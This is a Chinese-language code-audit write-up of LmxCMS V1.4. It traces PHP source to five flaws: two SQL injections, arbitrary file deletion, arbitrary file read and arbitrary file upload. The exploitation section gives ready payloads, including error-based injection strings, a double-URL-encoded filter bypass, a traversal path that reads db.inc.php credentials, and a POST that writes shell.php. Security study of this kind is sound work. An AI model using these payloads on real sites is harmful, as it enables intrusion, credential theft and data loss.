提示:文章内的相关技术仅供学习,禁止用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。
目录
一、漏洞概述
LmxCMS V1.4 后台存在参数过滤不当导致SQL注入,任意文件读取、上传。目录穿越导致任意文件删除。前台存在代码处理逻辑错误导致SQL注入。
二、代码审计
0x01 后台SQL注入
影响文件c\admin\BookAction.class.php
//回复留言
public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));
定义函数reply()传入参数$id,由getReply()执行赋值,转到声明看看
//根据留言id获取全部回复
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}
又赋值给$param,跳到 selectModel()
//获取数据
protected function selectModel($param=array()){
if($param['field']){
$this->field=$param['field'];
}
return parent::selectDB($this->tab['0'],$this->field,$param);
}
看到关键函数selectDB(),查询数据库,接下里应该就是sql执行语句了
//查询
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
echo $sql;
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}
看到了sql执行语句 ,这里不妨输出验证一下能不能控制这个语句
url:localhost:8787/admin.php?m=book&a=reply&id=233
0x02 后台任意文件删除
影响文件c\admin\BackdbAction.class.php
//删除备份文件
public function delbackdb(){
$filename = trim($_GET['filename']);
if(!$filename){
rewrite::js_back('备份文件不存在');
}
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}
传入参数$filename,转到delOne()
//根据文件名删除一条备份文件
private function delOne($filename){
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}
}
这里并没有对变量$dir进行过滤就带入方法unLink()内执行了
//删除文件
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}
直接带入$path路径执行代码
0x03 前台注入
影响文件c\index\TagsAction.class.php
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
转到p()函数查看声明
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
$type 1:post数据,2:get数据,否则为$type
可以发现$data是用来接受数据的
$pe 是否转义$mysql
$sql 是否验证sql非法字符,存在过滤函数filter_sql()
$mysql 是否验证mysql保留字符
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
正则表达式过滤,不好绕过,于是回到TagsAction.class.php检查代码,将处理好的data数据发送给$name,然后调用了delhtml(),发现delhtml()作用是去除html中的<>符号,意义不大,但是接着往下看发现了urldecode()函数
<?php
$str = "w3cschool%E4%BD%A0%E5%A5%BD";
echo urldecode($str);
?>
#执行结果:w3cschool你好
网上查阅资料发现urldecode() 用于解码 URL 字符串函数。分析代码知道data是先进行过滤再进行解码,这里有执行逻辑错误,那么试想一下,浏览器本身会解码一次,代码解码一次,能否采用双重url编码进行绕过呢,继续跟踪代码
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
跟踪getNameData()
//根据Tags名字返回id
public function getNameData($name){
$param['where'] = "name = '$name'";
return parent::oneModel($param);
}
跟踪oneModel()
//获取一条数据
protected function oneModel($param){
return parent::oneDB($this->tab['0'],$this->field,$param);
}
跟踪oneDB()
protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
echo $sql; //判断是否可控
$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}
找到执行代码,测试是否可控,注意闭合单引号
测试过滤
0x04 任意文件读取
影响文件class/file.class.php,c/admin/TemplateAction.class.php
//获取文件内容
public static function getcon($path){
if(is_file($path)){
if(!$content = file_get_contents($path)){
rewrite::js_back('请检查【'.$path.'】是否有读取权限');
}else{
return $content;
}
}else{
rewrite::js_back('请检查【'.$path.'】文件是否存在');
}
}
全局搜索发现带有参数传递的file_get_contents() 方法,跟踪看看谁调用了getcon()
//编辑和查看文件与图像
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');
}
editfile()调用了getcon($this->config['template'].$dir),$dir由GET传参且没有任何过滤,现在得到的结果就是可以读取config['template']路径下的任意文件了,输出看看config['template']是什么
url:http://localhost:8787/admin.php?m=Template&a=editfile&dir=1
随便传一个dir参数提示路径下文件不存在,由此可知config['template']就是template/
再template目录下创建一个1.txt文件
成功读取
0x05 任意文件上传
影响文件class/file.class.php,c/admin/TemplateAction.class.php
//保存文件
public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}
思路和任意文件读取一样,找到带有参数传递的写入文件函数 file_put_contents(),找到声明,看看谁调用了
//编辑和查看文件与图像
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
file:put就是put(),这里传入了两个参数,一个是路径对应着put()的$path,一个内容,对应$data。根据代码逻辑,当POST传参变量settemcontent存在时执行下面函数,可以先通过POST请求让settemcontent不为空,再写入要上传的文件名和内容实现上传文件
三、漏洞利用
0x01 后台SQL注入
payload:/admin.php?m=book&a=reply&id=233 and updatexml(0,concat(0x7e,user()),1)
执行结果
0x02 后台任意文件删除
现在根目录下创建一个任意文件
目录穿越/file/back回到根目录删除任意文件
url:localhost:8787/admin.php?m=backdb&a=delbackdb&filename=../../s.txt
根目录下s.txt已被删除
0x03 前台注入
用编码软件对报错注入语句'1 and updatexml(0,concat(0x7e,user()),1)#进行二次编码
payload:/?m=Tags&name=%25%33%31%25%32%37%25%36%31%25%36%45%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%44%25%36%43%25%32%38%25%33%30%25%32%43%25%36%33%25%36%46%25%36%45%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%43%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%43%25%33%31%25%32%39%25%32%33
0x04 任意代码读取
调用Template模块的editfile方法构造url,尝试读取inc目录下的数据库信息文件db.inc.php\
payload:admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
成功读取,这里还可以修改该文件下的代码
0x05 任意文件上传
调用Template模块的editfile方法构造url,dir不知道文件名设置为空,以POST请求转递参数,使settemcontent不为空,filename为上传的文件名,temcontent为文件内容
payload:admin.php?m=Template&a=editfile&dir=
POST:settemcontent=1&filename=shell.php&temcontent=<?php phpinfo();?>
可以看到在temolate文件夹内成功上传了shell,php文件,类似地,若是上传至根目录,则将dir参数改为../,再POST方式上传settemcontent=1&filename=shell.php&temcontent=<?php phpinfo();?>等参数
payload:admin.php?m=Template&a=editfile&dir=../
四、总结
通过黑盒测试和代码审计发现,lmxcms V1.4存在多处注入漏洞,和代码逻辑层面的错误,这些漏洞可能导致未授权用户执行恶意SQL语句,从而窃取、篡改或删除系统数据。还可能导致系统行为异常、功能失效或安全策略被绕过。应加强系统的安全防护措施确保系统的安全性。